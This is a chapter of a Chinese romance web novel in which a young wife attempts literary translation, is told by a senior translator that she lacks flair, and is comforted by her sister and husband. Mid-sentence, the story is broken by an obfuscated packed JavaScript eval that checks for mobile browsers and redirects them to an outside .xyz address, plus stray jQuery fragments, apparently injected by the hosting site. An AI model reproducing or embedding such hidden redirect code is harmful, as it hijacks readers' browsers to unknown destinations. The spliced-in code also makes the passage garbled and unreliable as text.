看完秋海棠，他们回到了家。


    范嘉懿早回房间了，屋里只有走廊上的灯还昏沉地亮着。


    洗漱完，姜绮玉裹着睡袍出来。她困了，走了几步，蹬掉拖鞋就翻身上床。秋日的夜晚，天气冷，她把被子提到肩膀处，很快就睡了过去。


    十几分钟后，身旁多了一抹温热。


    那是他人的体温。带着清爽浅淡的沐浴露气息。


    姜绮玉睡眠浅，迷迷瞪瞪的，很快醒过来。


    “……你洗完澡了？”她揉着眼睛问。


    “嗯。”


    范铭礼轻轻应了一声，“快睡吧。”


    他伸过手来，覆在姜绮玉眼睛上。她眨一眨眼，眼睫毛便扫过他手心。他正想将手拿开，可在半空中，却被人截住了。


    姜绮玉的视线落在他的手上。很有力的一双手，指骨分明，皮肤洁白却不羸弱。


    当时她在饭桌上想着多看这双手几眼，却一不小心被呛住。


    范铭礼被抓住手，神态倒是一如往常：“怎么了？”


    “我在想……”姜绮玉把玩着他的手指，“我们花园里，种有秋海棠吗？”


    原来她还在想这件事。


    范铭礼说：“前些年种了十几盆，开得不好。后来换成了蟹爪兰和杜鹃。”


    “这样啊。”


    “你想种？”


    “有点儿。”姜绮玉笑了笑，“不劳烦你了，等到了明天春天，我自己找个花盆来养。或许侍弄好了，开得轰轰烈烈，也说不定。”


    范铭礼安静看着她，末了微微弯一弯嘴角。


    “好。”


    紧接着，他用不容否定的语气道：“现在，睡觉。”


    便抬手关掉了床头一盏小灯。


    没有了低声絮语，世界重归一片令人安心的寂静。


    ……


    醒来已经快到中午。


    姜绮玉一翻身，才发现身旁的被子是冰冷的。范铭礼早就走了。


    她挣扎起身，一头长发散乱地披在肩上。拿过手机一看，自己都吃了一惊：竟然睡得这么久。


    窗帘拉得紧，遮蔽了外头的好日光。身旁的人起身时，动作一定是很轻的。闹钟已经响过，却在响起时便被人利落地摁掉。


    今天是工作日。直到走下楼吃早午餐时，姜绮玉还是有些恍惚。随之而来的，是一种痛快的解放之感。她很久没在工作日时睡懒觉了，平日里再困，也是匆匆在路边买一杯咖啡，硬撑着在工位前敲敲打打。


    如今不用早起，生活规划里也没有了那些大大小小的工作与会议，倒让她不适应起来。


    吃的是英式早餐，太阳蛋煎得很好，一切开便有金黄的溏心流出来。姜绮玉一边吃，一边点开手机搜索自己想要的信息。


    她开始琢磨究竟怎样才能成为一名合格的翻译。


    她口语不够好，也没有相应证书，要是去做口头翻译，她估计只能翻点再普通不过的见面寒暄。姜绮玉想着想着，还是认为兴许翻译文本，并没有那么难。


    她做事，想到便去做。姜念安给她介绍了位前辈，是在美留学时结识的华人，现定居新加坡。那是位三十出头的女性，一头短发，干净利落，身上带冷冷的书卷气。


    她给姜绮玉丢了两篇短篇小说，说一周后交稿，要是译得好，就帮她登在某译文杂志上。那杂志是半月刊，而前辈有自己的专栏。


    姜绮玉接收那两篇小说的文档，开始苦着脸阅读起来。


    作者是美国人，语言简洁不啰嗦。都是宣扬正能量的那类温情小说，故事并不复杂。


    然而姜绮玉还是读得七零八落。


    她拿着词典，一词一句慢慢翻。中文敲在电脑屏幕上，写了半天，回过头一看，发现语言稀碎。又不得不花时间重新组织语言。写了一天，太阳西沉，姜绮玉站起来揉揉手腕，活动肩颈，从书房里走出来，就同刚下班的范铭礼打了个照面。


    “愣着做什么？”范铭礼拉过她，“吃饭。”


    他们面对面坐着。范嘉懿不回家，估计又去了朋友的场子。姜绮玉吃着饭，心思还挂念在自己译到一半的文本上。


    她走神，吃饭的速度慢了许多，喝汤时，勺子一时没拿稳，差点掉地。虽然眼疾手快地接住了，只是仍有少许热汤溅在身前衬衣上，白色真丝衬衣顿时多了几个油点。


    对面的人无奈地给她递了张纸巾。“擦擦。”


    姜绮玉随便擦了几下。反正是擦不掉了。她把纸巾团成一团，丢进垃圾桶。


    范铭礼给她夹了一块鱼，“我猜你在想翻译的事情。”


    姜绮玉神色恹恹，“猜得真准啊。”


    范铭礼笑说：“遇到什么困难，我可以帮忙。”


    “那还是……算了。”


    姜绮玉顿了几秒，说：“我还是自己再想想。”


    她心中那阵奇怪的执拗上来了。她能去请姐姐帮忙，能去找熟悉的人搭一把手，但她却不愿意轻易接受范铭礼在这一方面的帮助。


    听她这么说，范铭礼并不强求。


    “好吧。”他只是浅浅叹一口气，“不过要注意劳逸结合。”


    “这你倒放心好了。”姜绮玉说，“每天能睡这么晚才起床，我觉得生活挺安逸的。”


    范铭礼笑了笑，“闹钟我给你关掉了。你要想早起，就自己再定个时间。”


    “别。我打算以后的日子都睡到自然醒。”


    ……


    话虽这么说，姜绮玉还是过得分外忙碌。


    她上网找了好些视频，打算一点一点地学翻译技巧。平日里讨厌英文的那个劲儿消失了，如今她时不时就点开手机里的词典背单词，亦或者是查找日常使用的俚语。


    几乎又过上晚睡早起的生活。


    要不是范铭礼硬生生拉她回房间，姜绮玉还能在书房待一个通宵。


    一周过后，她交稿给前辈。


    信息和文档发过去，姜绮玉有些惴惴不安。她焦虑地等了快两个小时，终于收到前辈的回复。


    前辈：[你的两篇译稿我都看了。想听实话还是谎话？]


    姜绮玉：[我想听实话。]


    几分钟后，手机响起了消息提示。


    前辈：[能看出是新人。不过你译得还不错，中规中矩。要是投稿，或许能过。但你欠缺积累，也没有灵气。我想你生活中应该是个做某些事一丝不苟的人。]


    姜绮玉感到一阵难言的失落。


    她打起精神，打算请教一番，前辈却冷不丁给她抛出一个问题：


    [我想问问你，你热爱这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14959036|160376||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    份工作么？]


    她愣住。


    绝对提不上“热爱”的情绪。于她而言，翻译其实只是一个备选项。


    因为她不想闲着，而翻译又正好是与先前工作稍稍搭边的职业。


    姜绮玉没立即回应，前辈的消息又发来：


    [翻译其实赚不到什么钱。或许你现在还能凭着一时新鲜做下去，但最终能带着你坚持下去的，永远都是热爱。我见过很多教授，译一本没什么人看的书。问他，他就说自己喜欢做这个，一停下来，浑身难受。如果你并不热爱这份工作，那我想你应该无法支撑太久。]


    这条信息很长，姜绮玉的视线在手机屏幕上停留很久。


    她深吸一口气，过了好一会，她才慢慢地在输入框上敲字：


    [我知道了。这段时间多有打扰，谢谢前辈。]


    按下发送键，姜绮玉靠在椅背上。


    看来翻译是做不成了。她想。


    晚上，姜念安给她打电话。姜绮玉接起来，第一句话就是：“姐，你知道了？”


    姜念安的声音传来：“你姐姐我不是闭关修炼，当然知道了。人家已经同我说了。你啊……”


    “姐姐，你不用劝我。”姜绮玉连忙道，“我知道的，我没办法做这份工作。我的资质也不够。”


    姜念安听她说完，在电话那头笑了一下，“傻瓜，你以为我要怎么劝你啊？”


    “我……”


    “其实呢，一开始，我并不认为这份工作适合你。我总觉得，你有其他的，更喜欢的东西。与其勉强自己，不如放轻松些，去做自己真正想得到的。我一直都这么想。绮玉，你觉得呢？”


    姜念安的声音很温柔。一天的忙碌结束，她就立刻给姜绮玉打了这通电话。


    她并不觉得姜绮玉做不好，只是觉得，她真正需求的东西，或许不在这上面。


    姜绮玉难得地梗了一会儿。


    “谢谢你。”她吸了吸鼻子，“你太肉麻了，我招架不住。”


    “是吗？那我以后可不说了。”


    “……姐姐！”


    同姜念安无边无际地聊了许久，姜绮玉终于挂断电话。她放下手机，在椅子上坐了许久，随后像是打定什么主意般，走到范铭礼书房门前，脚步停住，装模作样地敲了敲门。


    温和的声音从门内传出，让她进来。


    姜绮玉便拧开门把手，走进书房。


    “我借你的几本书看，不介意吧？”她问。


    “当然可以。”范铭礼从柔软皮质座椅上起身，带姜绮玉来到满墙书架的一侧，“这边或许有你想看的。”


    这一边不是金融或财经相关，而是小说或散文类。看得出翻阅的痕迹，然而书脊和封面都是一尘不染，十分整洁，划痕都少得可怜。


    范铭礼看着她，“今天怎么突然想起看书了？”


    “想看就看了。难道我在你心目中，没法当个文化人？”


    姜绮玉话音刚落，就觉得语气有些不太妥当。太刺人了。姜父姜母曾经不止一次说过她这个毛病。说话太扎人，对谁都不好。


    她看了眼范铭礼，低下头叹气道：“对不起，我……我大概不适合做翻译。”


    “我呢，只是想来看看，到底什么样，才算是有灵气呢。”